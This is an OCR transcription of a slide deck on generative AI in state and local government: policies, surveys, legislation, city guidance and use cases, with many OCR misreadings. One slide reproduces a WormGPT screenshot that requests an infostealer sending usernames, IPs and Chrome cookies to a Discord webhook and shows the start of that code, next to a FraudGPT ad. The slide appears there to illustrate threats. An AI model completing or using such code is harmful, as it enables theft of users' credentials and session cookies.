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ChatGPT: Five Important Things to Know About
the Nascent Tech

The viral technology sensation has taken the Internet by
storm, raising questions about how the artificial intelligence
platform works and whether or not it could replace human
ideas and creations,
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Opinion: ChatGPT Should Be Harnessed, Not
Banned
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Professors from the University of Pennsylvania argue that

banning artificial intelligence-driven chatbots is a practical
impossibility, so teachers should consider ways to embed

them into the leaming process.
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Disinformation Researchers Raise

Alarms About A.I. Chatbots

Researchers used ChatGPT to produce clean, convincing text that
repeated conspiracy theories and misleading narratives.

EvERGING TECH

How Should Government Regulate Al? We Asked
a Robot

Artificial intelligence's potential in the public sector has W
grown exponentially, as have questions around out Need
appropriate guardrails. We interviewed the ChatGPT Dot et

chatbot from OpenAl to see what it had to say. Byamwenins ) (2] (H) (31
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.- What is Generative Artificial Intelligence?

What is Generative Al?

Generative Al refers to a category of artificial
intelligence (Al) algorithms that generate new
outputs based on the data they have been trained
on. Unlike traditional Al systems that are designed
to recognize patterns and make predictions,
generative Al creates new content in the form of
images, text, audio, and more.

Definition Source: World Economic Forum | Image Source: IDC
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ASR/
NLP

Artificial Intelligence

Machine Learning

Automatic Speech Recognition,
Natural Language Processing



INFRASTRUCTURE / DATA LAYER

APPLICATION/SERVICE LAYER

EXPERIENCE LAYER (CHANNELS)

The future UX will
abstract
everything —
applications, data,
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Al = Beginning of the Post-Search Era
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how should the state of georgia be looking at Al? X
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= Georgia Recorder
hitps://georgiarecorder.com » 2023/11/01 » georgia-la...

Georgia lawmakers explore threats, wonders of Al ...
Nov 1, 2023 — Georgia lawmakers will need to consider implications of Al tech, from the
mundane to the potentially world-changing.

« Georgia Public Broadecasting
hittps://www.gpb.org » News H
Georgia lawmakers to study promise, threats of artificial ...
Oct 16, 2023 — Georgia lawmakers on both sides of the state Capitol are taking their first serious
look ... Al systems developed or employed by state agencies.

o The Georgia Virtue
hitps://www.thegeorgiavirtue.com » georgia-legislature
Georgia lawmakers weigh whether Al legislation needed
Nov 6, 2023 — Georgia lawmakers are weighing whether the state should act to legislate or
regulate artificial intelligence, following similar actions in ...

= Atlanta News First
hittps://www.atlantanewsfirst.com » 2023/12/06 » how-ai-..

How Al technology could be a safety tool on Georgia ...
6 days ago — Georgia legislators ...

! Georgia Recorder
httpe://gecrgiarecorder.com » 2023/07/03 » georgia-la...

Georgia lawmakers poised to study real and imagined ...
Jul 3, 2023 — Georgia lawmakers are attempting to understand what artificial intelligence could
mean for resident’s jobs and safety.

& Georgia Tech Professional Education
https://pe.gatech.edu s blog » industry-trends » Georgi...

Targeting Georgia's Future in Al
Jul 11,2023 — The $65 million Georgia Artificial Intelligence Manufacturing Technology Corridor
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ChatGPT 4 -
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How can | help you today?

Brainstorm edge cases Create a charter

Give me ideas Plan a trip

@ how should the State of Georgia be looking at Al?

ChatGPT can make mistakes. Consider checking important information.



&TA Georgia Technology Authority

Titie: | Enterprise Artificial Intelligence
" Acceptable Use

P5SG Number; PS-23-001

Effective Date: | 10/05/2023 | Review Date:
Establishes requirement for Enterprise Artificial

SYnopsist | | telligence Acceptable Use

PURPQSE

As Artificial Intelligence (Al) technology continues to advance and become an
integral part of everyday business operations, it is increasingly important for the
state to establish clear Al usage policies. This policy is designed to promote the
acceptable use of Al tools, while also minimizing the potential for intentional or
unintentional misuse, unethical outcomes, potential biases, use of sensitive data,
and information security breaches. The Al-acceptable use paolicy addresses the
use of artificial intelligence tools in government operations, especially as it
pertains to using sensitive data and state information within these tools.

SCOPE and AUTHORITY

0.C.G.A 50-25-4(a)(8) — State Government, Geargia Technology, General Powers
0.C.G.A 50-25-4(a)(20) - State Government, Georgia Technology, General Powers
0.C.G.A 50-25-4(a)(28) - State Government, Georgia Technology, General Powers
PM-04-001 - information Technology Policies, Standards and Guidelines
P5-08-005 — Enterprise Information Security Charter

TERMS AND DEFINITIONS

Agency - every state department, agency, board, bureau, commission, and
authority but shall not include any agency within the judicial or legislative branch
of state government, the Georgia Department of Defense, departments headed
by elected constitutional officers of the state, or the University System of Georgia
and shall also not include any authority statutorily required to effectuate the
provisions of Part 4 of Article 9 of Title 11.

Technology Resources — means hardware, software, and communications
equipment, including, but not limited to, personal computers, mainframes, wide
and local area networks, servers, mobile or portable computers, peripheral
equipment, telephones, wireless communications, public safety radio services,
facsimile machines, technology facilities including, but not limited to, data
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and efficiency.

6. Infrastructure and Smart Cities: Implementing Al in urban planning and infrastructure
management can lead to smarter, more efficient cities.

7. Partnerships and Collaborations: Collaborations between the state government,
private sector, academia, and other stakeholders can accelerate Al adoption and
innovation.

3. Data Management and Security: Robust data management policies and security
measures are vital to protect sensitive information and ensure the responsible use of
Al

9. Public Awareness and Engagement: Educating the public about Al and involving
them in discussions about its use in government and society is important for
transparency and trust.

10. Monitoring and Evaluation: Regularly assessing the impact of Al initiatives and

adjusting strategies as needed is crucial for long-term success.

By focusing on these areas, Georgia can harness the potential of Al to enhance
government services, drive economic growth, and improve the quality of life for its
residents.

Enterprise Al Acceptable ...

Now with this additional contextl what recommendations do you have for the State of Georgia
O intheir approach to Al? »

ChatGPT can make mistakes, Consider checking important information.
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AgentGPT

eRepublicGPT

WebinarGPT

AgentGPT

StateGPT

SCITDA-GPT

Pages

Templates -

Help
Settings

Manage account
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R

Dustin Haisler
dhaisler@gmail c...

®®® AgentGPT-3.5 (0 / 5 runs)

AgentGPT&E

(Interested in AI Agents to scale up your web scraping? Apply here > 3

B

«- Create an agent by adding a name / goal, and hitting deploy! Try our examples below!

=

GeorgiaGPT

how should the State of Georgia be looking at AI?




Al Will Not Be A Separate Product
It Will Be The New Product Experience
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Standalone Al

Generative Al
existing as a
standalone
application.

Examples:

ChatGPT, Google
Bard, Bing Chat

Source: Dustin Haisler / CDG (October 2023)

Embedded Al

Generative Al
integrated within the
application layer.

Examples: Google Duet
Al (within Google
Workspace), Co-pilot
(within Microsoft's
0365)

el

Abstracted Al

Generative Al on the edge
of the consumer
experience, where users
interact with edge Al bots
that abstract other Al
experiences.

Examples: SiriGPT,
Google Assistant GPT

o
O—

Autonomous Al

Al operates
autonomously basedon a
goal or
pre-defined set of needs
to complete tasks,
functions, etc.

Examples: Agent Al,
AutoGPT



The Generative Al Application Landscape =

Marketing
(content)
Sales
(email) Code Image
generation generation
Support
(chat/ email) Code Consumer/
documentation Social

Textto SQL Medi

Web app Voice editing / 3D models/ Biology &
builders Synthesis generation scenes chemistry

APPLICATION
LAYER

TEXT CODE IMAGE SPEECH VIDEO 3D OTHER

OpenAl GPT-3 OpenAl GPT-3 OpenAl Dall-E 2 OpenAl Microsoft X-CLIP DreamFusion

Gopher Make-A-Video

Huggi

. gging Face
ww Bloom
Q>

o<

=3

Source: Sequoia Capital

Alibaba,
Yandex, etc.




How Al is Being Used in
Government Today



How familiar are you with generative Al?

Respondents are
most likely to report
being somewhat
familiar with
generative Al.

Respondents with
non-IT job functions
are about

to be not at all
or not very familiar

with generative Al 19.7%

when compared to

respondents with IT
job functions.

1 Not at all familiar 2 Not very familiar 3 Somewhat 4 VVery familiar
familiar

12.6%




Have you personally used generative Al-based tools?

54.3%

Respondents
with IT job
functions are

37.0%

to have used
generative Al-

based tools,
compared to
those with non-
IT job functions.

8.7%

Yes No Unsure




Is your organization currently using generative Al-based
tools?

We are unlikely to 50.8%
(90.5%) are in the

beginning stages or

have not started

planning to We have started
implement exploring potential use

39.7%

generative Al-based cases

tools.

We are planning to
implement

4.0%

We are in the process of
implementing

3.2%

2.4%

We have already
implemented




SRR What types of use cases for generative Al would you be
mesiniErestee it most interested in implementing in your organization?

use cases for
chatbots,
administrative
assistance,
predictive analytics,
and cybersecurity/ Predictive analysis
fraud detection.

Constituent engagement...

Administrative assistance

Cybersecurity/fraud detection
Public communication
Sentiment analysis
Environmental monitoring
Image/video processing
Marketing

None

Other




What type(s) of content do you plan to or are you using
generative Al to produce? (Select all that apply). (n = 12)*

Text 83.3%

Audio 33.3%

Simulations 16.70%

16.7%

Images

Unsure

Video

Other

16.7%
@|DIGITAL

*This question was only asked to people who answered that they were planning, in the process of, or already using generative Al-based tools?"



What generative Al tool(s) do you plan to use or are you using?
(Select all that apply).

cracer I <3 %

OpenAl API... _ 50.0%
Google Bard _ 41.7%
Bing Chat _ 25.0%
Jasper _ 16.7%
pALLE [ 16.7%
Unsure - 8.3%
Other _ 16.7%

*This question was only asked to people who answered that they were planning, in the process of, or already using generative Al-based tools?"

fl|DIGITAL
GOVERNMENT



Respondents How prepared is your organization to integrate
report that their

organizations generative Al-based tools in your organization?

are not
prepared to roll 41.3% 43.7%
out generative
Al-based tools.

15.1%
- O.O%
1 Not at all 2 Not very 3 Somewhat 4 \Very prepared

prepared prepared prepared




(28.8%) of
respondents
have policiesin
place or are
considering
policies
regarding the
use of generative
Al.

State-level
respondents are

to be 4.0%

considering
generative Al
policies when Yes
compared to

county- and city-

level

[fespoadans.

GOVERNMENT

Does your organization currently have policies or
regulations in place regarding the use of generative Al?

24.6%
15.9%
No, but are No Unsure
considering
policies/actively
working on

policies



What concerns, if any, do you have about generative Al?
(Select all that apply).

e9.3%
68.5%
P 551%
PN 54.3%
PN 53.5%
P 49.6%
N 47.2%
P 40.9%
N 30.7%

N 23.6%

N 20.5%

P 157%

None [ 4.7%

Other ‘I 2.40/0

Accuracy of information generated

Respondents have Unintended consequences from algorithmic bias
many concerns

about generative Al,
however, their top Cybersecurity
concerns are
accuracy and

Lack of policies for use

Disinformation generated using tools
biases. Lack of knowledge about tools
Few best practices/guidance for use
New regulations/compliance
Plagiarism

Accessibility

Loss of jobs

Ease of use




Best practices,
security, and
regulation are top-
of-mind for
respondents when
considering

government’srolein
generative Al.

What actions should government take to promote
productive use of generative Al?

0
Find best practices/guidance _ 65.4%

Ensure cybersecurity
Create policies for use
Prevent disinformation

Mitigate bias

Ensure accessibility features
Create new regulation
Prevent plagiarism
Minimize job losses

None

Other



Latest Al Updates Based on GovTech Editorial

REGULATORY

EXPERIENCE

EMERGING CHALLENGES




Latest Generative Al Updates

REGULATORY
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Special: C jties  C Grants HHS HigherEd  Network Pa

ARTIFICIAL INTELLIGENCE

Senators Propose Bipartisan Federal Legislation
Targeting Al Use

| ————
This week, senators have proposed two bipartisan pieces SPONSORS
of legislation that target the use of Al, one focused on
advancing military use and the other focused on tackling egen[’]

the issue of identity fraud.

ooooo NICE

* Socure

[i]Path

Reboot Work.

=]
Conversations

Starting Smart: Successful Strategies
for ChatGPT and Beyond

Shutterstock

https://www.gov tech.com/artificial-intelligence/senators-propose-bipartisan-f ederal-legislation-targeting-ai-use
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Special: C Ce Grants HHS  HigherEd Network Pa

ARTIFICIAL INTELLIGENCE

New Jersey Establishes Artificial Intelligence Task

Force
—————1
Gov. Phil Murphy signed an executive order Tuesday SPONSORS
charging the task force with studying artificial intelligence
and recommending government actions to support ethical egenw

use of the rapidly evolving technology.

ooooo NICE
8 Socure

[Ui]path

Reboot Work.”

S
Conversations

Starting Smart: Successful Strategies
for ChatGPT and Beyond

Now larea Gess Bhil Miurnbu (AD! lilin Cartart

I _ e #goviechlive
https://www.gov tech.com/artificial-intelligence/new-jersey -establishes-artificial-intelligence-task-force
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What Is Artificial Intelligence? Legislators Are Still
Looking for a Definition

="

While organizations and experts have tried to define SPONSORS

artificial intelligence, there is no consensus on a single

definition. That leaves individual states grappling with how s

to understand the technology so they can put rules in Conversations

place. Starting Smart: Successful Strategies
for ChatGPT and Beyond

October 05, 2023 - Madyson Fitzgerald, Stateline ° Q o e ° July 20,2023

Al in Action: Who's Leading the Way
in Generative Al

Back in March, Hawaii state Sen. Chris Lee introduced legislation urging the U.S. Congress October 16, 2023

to consider the benefits and risks of artificial intelligence technologies.

But he didn't write it. Artificial intelligence did.
Lee instructed ChatGPT, an Al-powered system trained to follow instructions and carry out
conversations, to write a piece of legislation that highlights the potential benefits and

drawbacks of Al. Within moments, it produced a resolution. Lee copied and pasted the
entire text without changing a word.

https :/lwww.govtech.com /artificial-intelligence/what-is-artificial-intelligence-legislators-are-still-looking-for-a-definition
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Special: Ct Ce Grants HHS  Higher Ed Network  Pa
New York Governor Signs Deepfake Likeness Bill
into Law
Gov. Kathy Hochul has signed into law a bill proposed by Stay on top of the latest
state Sen. Michelle Hinchey that makes it illegal to state & local
disseminate Al-generated explicit images or "deepfakes" of ?e‘;vherrzzge;'trends'

a person without their consent.

Sign up for GovTech Today.
Delivered daily to your inbox.

S
Most Read

Real-Time Crime Center Bill Held by Virgin Islands
Lawmakers

Pennsylvania CIO: Delivering Impact With Human-
Centered Design

New Philadelphia Map Puts Accessibility into
Action

https://Iwww.govtech.com/policy/new-york-governor-signs-deepfake-likeness-bill-into-law
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POLICY

U.S. Senate Weighs Restricting Al Use in Elections

Using artificial intelligence, or Al, to create fabricated Stay on top of the latest
images and audio has already happened in recent months state & local

. % s e § . government

in efforts to fool voters into thinking they're seeing or techiiology trantie
hearing something real.

023 - Steve Collins, Kennebec Journal ° @ o Q °

Sign up for GovTech Today.
Delivered daily to your inbox

Most Read

Real-Time Crime Center Bill Held by Virgin Islands
Lawmakers

Pennsylvania CIO: Delivering Impact With Human-
Centered Design

New Philadelphia Map Puts Accessibility into
Action

Camera Network Plan Sparks Privacy Debate in
Connecticut City

https ://iwww.govtech.com/policy/u-s-senate-weighs-restricting-ai-use-in-elections
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ARTIFCIAL INTELLIGENCE

Kansas Gov. Laura Kelly Implements Statewide Al
Policy R —

gavernment " 6 ooemnce  sarery
Jh}cmmmg\,r omy arienc

TRANSPO
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Kansas Gov. Laura Kelly announced yesterday t
directed executive branch agencies to adopta s
policy on generative Al that outlines how the tec

Moo ks s Mogmn Jrpr—

Pennsylvania, Virginia Governors Issue Al
Executive Orders

government Al COMPUTING  EXPERIENCE  SARETY  TRANSPORTATION  WORKFORCE  MORE™ Q

technology

Spocet Communtien  Constits  Exgugurt Expuence  Gars WS Mo B Mook

Governors Josh Shapiro and Glenn Youngkin have issued SPONSORS
i ot new guidance on the use of artificial intelligence
Oklahoma Governor Issues an Executive Order on technology in state govemment. Both orders seek to egen”
Al create a more solid foundation for the rapidly evolving
technology.
: NICE
This week, Oklahoma Gov. Kevin Stitt issued an executive SPONSORS N ) ooo000

order to create a task force that would help guide the use o)
of Al, aiming to help state government identify and mitigate egen
risk in this space.

& socure

[Ui]path

Reboot Work

ooooo NICE
7

& socure
—
Conversations

Starting Smart: Successful Strategies.

[Uilpath

Reboot Work

Conversations

Starting Smart: Successful Strategies.

https://www.govte ch.com/artifical-intelligence/pennsylvania-virginia-governors-issue-ai-executive-orders


https://www.govtech.com/artificial-intelligence/oklahoma-governor-issues-an-executive-order-on-ai

Al, A Hot Topic In Session

Al Legislation Topics: Most bills are concerned with establishing a taskforce or commission,
creating policies for general use viaa commission or taskforce, and/or creating policies about
current Al use. No current bills about Al policy include policies for general use, rather, states are
stillin the process of creatingthese guidelines and policies. Policiesthat have been put forward to
the legislature are specificand limited in nature.

Policy Topics:

* |llinois: Deepfakes

* Maryland: Personwho creates Al with ability to cause injury/harmisliable for civil penalty

* Massachusetts: Drafted act with ChatGPT to regulate Generative Al Chatbots

* Montana: Actto “generally revise laws related to artificial intelligence” In drafting process

* New York: Political communications that use synthetic media requiredtodisclose Al use,
Empire State Film prohibited from using Al that would “displace any natural person during
production”

* Rhode Island: Regulations for Al and mental health services, allowed to adopt Al policy starting
Sept. 2023,

* Washington: Guidelines for procurement using Al



Proposed Legislation By Topic

13
9
3
2
B as .
]

Al taskforce or Al policy Al office or Biometrics ban ~ Commitment to
comission department safe AID/ CITAL
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Santa Cruz County, Calif., Formalizes Al Policy San Jose Releases Generative Al Guidelines,
Looks to Learn

County leaders this week trumpeted their early Stay on top of the latest
devel t and adopti f artificial intell state & local S———

z;f O;Ee::' a:O,j ‘)o?/;f:n?e:( 'e:abm:es‘g“e”ﬂf:‘urmem government CIO Khaled Tawfik says the city is eyeing the possibility of SPONSORS
policy shaping g ploy P! technology trends.
next-generation tools into the future one day using a generative Al that is specially tailored for 0]

* s city governments, and it is now looking to learn more egen

00000

before finalizing policies.

ooooo NICE
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Starting Smart: Successful Strategies.
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https ://www.govtech.com/artificial-intelligence/san-jose-releases-generative-ai-
https :/iwww.govtech.com/policy/santa-cruz-county-calif-formalizes-ai-policy guidelines-looks-to-learn



City of Boston Interim Guidelines
for Using Generative Al

Version 11
Prepared by Santiago Garces, Chief Information Officer, City of Boston
Published: 5/18/2023

?fhpc\)i;ito: all City agencies and departments with the exception of Boston Public E m e rg i n g G u id a n Ce
Purpose and PO"CY - City Of

Generative Al is a set of relatively new technologies that leverages large (very large)

volumes of data along with some machine learning (ML) techniques to produce content

based on inputs from the users known as prompts. The new content can be written (e.g. B o s t o n
ChatGPT or Bard), or visual (e.g. Dall-E). These tools are evolving rapidly, and are still the

subject of active research: improving our understanding of how they actually work, and

the impacts of their use in society. These tools are not actual intelligence in the human

sense, rather, they are very sophisticated models that predict what the language, text, or

video that satisfies the prompt should be. Because of their impact and potential

usefulness, as well as the risks and dangers, these guidelines serve as an interim

resource for employees of the City of Boston.

Generative Al is a tool. We are responsible for the outcomes of our tools. For example, if
autocorrect unintentionally changes a word - changing the meaning of something we

wrote, we are still responsible for the text, Technology enables our work, it does no . .
excuse our judgment nor our accountabilty httpsJ/drive.google.comyfile/d/102oMruYz8NYQJNLQlferGURr8mys
These guidelines should be replaced in the future with policies and standards, But we want to

11

ENncourage resp exper ion and we encourage you to try these tools for

#govtechlive


https://drive.google.com/file/d/1o25MruYz8NYgJNLglfcrGUhr8m7BJAkE/view?usp=drive_link
https://drive.google.com/file/d/1o25MruYz8NYgJNLglfcrGUhr8m7BJAkE/view?usp=drive_link

'I; Seattle
I Information Technology

Interim Policy

Chief Technology Officer

Date: April 18, 2023
From: lim Loter, Interim Chief Technology Officer & Department Director, Seattle IT
Subject: Use of Generative Artificial Intelligence in City of Seattle

Memo Number:  IPM-2301

A provisional policy document is issued when a policy is needed within a time period too short to
complete the normal policy development process. An Interim Policy is in effect for at least 6 months
with possible extensions of six-month increments.

Scope
All departments in the City of Seattle.

Impact Statement

Generative artificial intelligence (Al) systems have become extremely popular and prevalent in a very short
amount of time. There is likely interest in using such systems to conduct City business. The field is emergent
and rapidly evolving, and the potential policy impacts and risks to the City are not fully understood. Use of
generative Al systems with the City of Seattle, therefore, can have unanticipated and unmitigated impacts.
This Interim Policy is intended to minimize issues that may arise from the use of this technology while

additional research and analysis is conducted.

Background and Definitions

Generative Al refers to a class of Al systems that are capable of generating content, such as text, images,
video, or audio, based on a set of input data rather than simply analyzing or acting on existing data. Popular
generative Al systems include GPT-3 and GPT-4/ChatGPT, Dall-E, and Lensa Al among many others.
Generative Al technology is rapidly being incorporated into common online tools, such as search engines.

These systems have the potential to support many City business functions and services, however their use

Emerging Guidance
and Policy — City of
Seattle

https://mww.nlc.org/wp-conte nt/uploads/2023/05/IPM2301-
UseofGenerativeArtificialintelligence InterimPolicy.pdf



https://www.nlc.org/wp-content/uploads/2023/05/IPM2301-UseofGenerativeArtificialIntelligence_InterimPolicy.pdf
https://www.nlc.org/wp-content/uploads/2023/05/IPM2301-UseofGenerativeArtificialIntelligence_InterimPolicy.pdf

Latest Generative Al Updates

EXPERIENCE
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Is Al the Answer to a Better Government
Experience?
From streamlining digital services and improving Stay on top of the latest
accessibility to making agencies more efficient, state & local
government

government's responsible use of generative Al can open
up new possibilities for improving the citizen experience.

technology trends.

Sign up for GovTech Today.
Delivered daily to your inbox.

Command Proept

—
ChatGPT Most Read
g Real-Time Crime Center Bill Held by Virgin Islands
\ \ Lawmakers

Pennsylvania CIO: Delivering Impact With Human-
Centered Design

New Philadelphia Map Puts Accessibility into
Action

https:/iwww.govtech.com/opinion/is-ai-the-answer-to-a-better-government-experience
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GOVERNMENT EXPERIENCE

Santa Clarita Launches New Website With a Built-
In Al Chatbot

e
Santa Clarita, Calif's recent website redesign features SPONSORS
improved navigation for users on desktop and mobile
devices and integrates the Al chatbot, Ask Sammy, to help \@
users find exactly what they need. GRANICUS
September 27,2023 - News Stff 00000

Laserfiche

@ SANTA CLARITA Departments Services “

4

zendesk
e
Conversations
>, What Do Constituents Want?
® B 7 e
% E September 2023
Service Request Permit Portal Seasons Classes Local Events
Screenshot of SantaClarita.gov. Steal These Ideas! Great Innovations

in Constituent Experience

December 2023

https:/www.govtech.com/gov-experience/santa-clarita-launches-new-website-with-a-built-in-ai-chatbot
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Translation Al Helps Bridge Language Barrier for
Minnesota DVS

=)
The state of Minnesota’s Department of Public Safety uses SPONSORS
translation Al tech in its Driver and Vehicle Services
division, expanding access to government services for egen[”]

non-English-speaking constituents.

ooooo NICE

( Socure

[Ui]path

Reboot Work.

===
Conversations

Starting Smart: Successful Strategies
for ChatGPT and Beyond



https://www.govtech.com/artificial-intelligence/translation-ai-helps-bridge-language-barrier-for-minnesota-dvs
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JUSTICE AND PUBLIC SAFETY

Los Angeles Police to Use Al Analysis of Body
Cam Footage

=
Researchers will use artificial intelligence to analyze the SPONSORS
tone and word choice that Los Angeles Police Department
officers use during traffic stops, the department announced dWs
Tuesday.

Resources

Powerful

Innovation
for 911 Call
Centers

Powerful Innovation for 911
Call Centers

e
Conversations

Using Advanced Technologies to
Keep People Safe

[TNIQ\ _ Dacaarchare will iica artificial intallinanca tn anahma tha tana and ward chnica that Acccea 2090

https:/iwww.govtech.com/public-safety/los-angeles-police-to-use-ai-analysis-of-body-cam-footage
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ARTIFICIAL INTELLIGENCE

Al-Based Gun Detection Tech Secures $23M in
Capital

]
ZeroEyes, a Montgomery County firm that created an Al- SPONSORS
based gun detection video analytics platform, has secured
$23 million in capital — following growth over the last year egen[’]

that has surpassed 300 percent.
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Reboot Work.
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Conversations

Starting Smart: Successful Strategies
for ChatGPT and Beyond



https://www.govtech.com/artificial-intelligence/ai-based-gun-detection-tech-secures-23m-in-capital

) Star on GitHub M Discord [

San Francisco GPT =™

Ask anything about San Francisco crime, drug use, homelessness, demographics, income, bars, r | X Search

Try one of these examples:

&

Ma

Which four neighborhoods had

4 the most crime incidents
3 neighborhoods with the What hour of the day do most involving guns or knives in
highest female to male ratio burglaries occur? 2021?

httbs://censusant com/SF



Latest Generative Al Updates

EMERGING CHALLENGES
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ELECTION TECHNOLOGY

Al Disinformation Is a Threat to Elections

The intersection of politics and social media is fertile ground
for Al-powered disinformation. Learning to spot disinformation
meddling from Russia, China and Iran in other countries can
help the U.S. prepare for 2024.

September 29, 2023 - Bruce Schneier, Harvard Kennedy School

00000

ecedom: ~IYess

Shutterstock

https :/iwww.govtech.com/elections/ai-disinformation-is-a-threat-to-elections
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ARTIFICIAL INTELLIGENCE

How Generative Al Is Boosting Propaganda,

Disinformation

==
Governments and political actors around the world, in SPONSORS
democracies and autocracies, are using Al to generate
texts, images and video to manipulate public opinion in egen[’]

their favor and automatically censor critical content.

( Socure
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Reboot Work.

=———
Conversations

Starting Smart: Successful Strategies
for ChatGPT and Beyond

https ://www.govtech.com/artificial-intelligence/ﬁ'”c';w:ijéﬁ&ative-ai-is-boosti ng-propaganda-disinformation
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OPINION

Ethical Al Procurement Requires Collaboration,
Accountability

As state and local governments cautiously pursue Al, they Stay on top of the latest
must prioritize ethics, transparency and accountability in state & local
government

procurement to protect public interests and deliver on the
technology's potential.

technology trends.

Sign up for GovTech Today.
Delivered daily to your inbox

E——
Most Read

Real-Time Crime Center Bill Held by Virgin Islands
Lawmakers

Pennsylvania CIO: Delivering Impact With Human-
Centered Design

New Philadelphia Map Puts Accessibility into
Action

https://www.govtech.com/opinion/ethical-ai-procurement-requires-collaboration-accountability
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._The Rise of MalicioustSpecific.ChatGPT Alternatives - WormGPT
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WormGPT

Welcome to the WormGPT. The biggest enemy of the well-known ChatGPT!

Write me a python malware that grabs computer's usernane, external ip address, and google chrome cookies, z r] . r]' I
nd send to a discord webhook T e FlrSt Non'Et ICa

ChatGPT Alternative.

import os
ipport socket
import json
import zipfile
import requests

# Get the current user's username
username = os.getlogin()

# Get the computer's external IP address

s = socket. socket(socket AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 808))

ip = s.getsockname()[®

s.close()
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\The Rise of Malicious-Specific ChatGPT Alternatives - FraudGPT

-
q) %Tf# NEW & EXLUSIVE bot designed for fraudsters | hackers | spammers | like-minded individuals
I I ’ I ot "
r a u d G KINGBINAZ If your looking for a Chat GPT alternative designed to provide a wide range of exclusive tools, features and capabilities tailored to anyone’s individual

needs with no boundaries then look no further!

FraudGPT, is a dark web &

This cutting edge tool is sure to change the community and the way you work forever! With this bot the sky is truly the limit It is the most advanced

I h o bot of its kind allowing you quickly and easily manipulate it to your advantage and do whatever you ask it tol As you can see in the video
tool that can create m——
o )) Member . .
undetectable malware”, P Write malicious code
Create undetectable malware

Find non vbv bins

uncover webST. a2 2020 RS

]
1 Create hacking tools

vulnerableto credit carQ 0 [

Write scam pages / letters
fra ud a nd much more. Find leaks, vulnerabilities

’ Learn to code | hack
Find cardable sites
And much more | sky is the limit
Escrow available 24/7
3,000+ confirmed sales [ reviews

FraudGPT Forum

Advertisement

Image Source: https://securityboulevard.com/



& Top Takeaways From Al (GPT-4):

1.

Establish Al Task Forces: States like New Jersey and Oklahoma have established Al task forces to
study and guide the ethical use of Al. This could be a model for other states to follow.

Legislation on Al: There is a need for clear legislation on Al use, especially in sensitive areas like
elections. This includes defining what constitutes Al.

Ethical Al Procurement: Ethics, transparency, and accountability should be prioritized in Al
procurement to protect public interests.

Alin Public Services: Al can be effectively used in public services. For example, Minnesota’s
Department of Public Safety’s Driver and Vehicle Services division uses translation Al to expand
language access to government services.

Mitigate Al Risks: There is a need to mitigate risks associated with Al, such as the spread of
disinformation. This includes regulating the use of “deepfakes” and understanding how generative Al
can be used for propaganda.

Al for Public Safety: Al is being increasingly used in public safety applications. For instance, the Los
Angeles Police Department is using Al to analyze body cam footage, and Al-based gun detection
technology is securing capital. This highlights the potential of Al in enhancing public safety and
security.



Where This Is Headed



Generative Al Use-Cases for State & Local Government
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Experience Augmentation

People Augmentation Knowledge Augmentation
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People Augmentation

Generative Al Use-Cases

Employeeswill have accessto their own personal
chatbots that aid in their daily administrative tasks,
enabling:

1. Data-driven decision-making
2. Administrative augmentation
3. Enhanced customer service
4. Software-based functions




Knowledge Augmentation

Generative Al Use-Cases

Governmentknowledge (i.e., ordinances, legislative
actions, etc.) will be accessible through generative Al
systems, enabling:

1. Richer data analysis

2. Knowledge mapping to roles

3. Intelligent policy creation

4. Enhanced simulation and prediction
5. Automation of knowledge capture
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Experience Augmentation

Generative Al Use-Cases

Governmentexperiences will be augmented by
generative Al enabling.

1. New forms of civic engagement

2. Personalization of communications
3. Greater transparency & accessibility
4. Third-party service delivery




Most Pressing Issues
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flost Pressing Issues

o Changing Government Procurement Rules
o Al/model usage must be disclosed in procurements.
o Agencies must be indemnified from liabilities with copyright, IP, etc. associated
with Al usage.
o Preparing for BYOAI — Bring Your Own Al
o Employees may leverage their own personal Al as a function of augmenting their
jobs, creating major implications for publicrecords.
o Updating Privacy Policies
o Agencies must updatetheir data and privacy rules and regulationsto account for
their policy on Al usage, training, etc.
o Focusingon Al Literacy/Equity + Reskilling/Upskilling
o Agencies will need to develop professional developmentand training programs
for reskilling or upskilling Al continuously.



Generative Al’s

‘Uber’ Moment

#govtechlive
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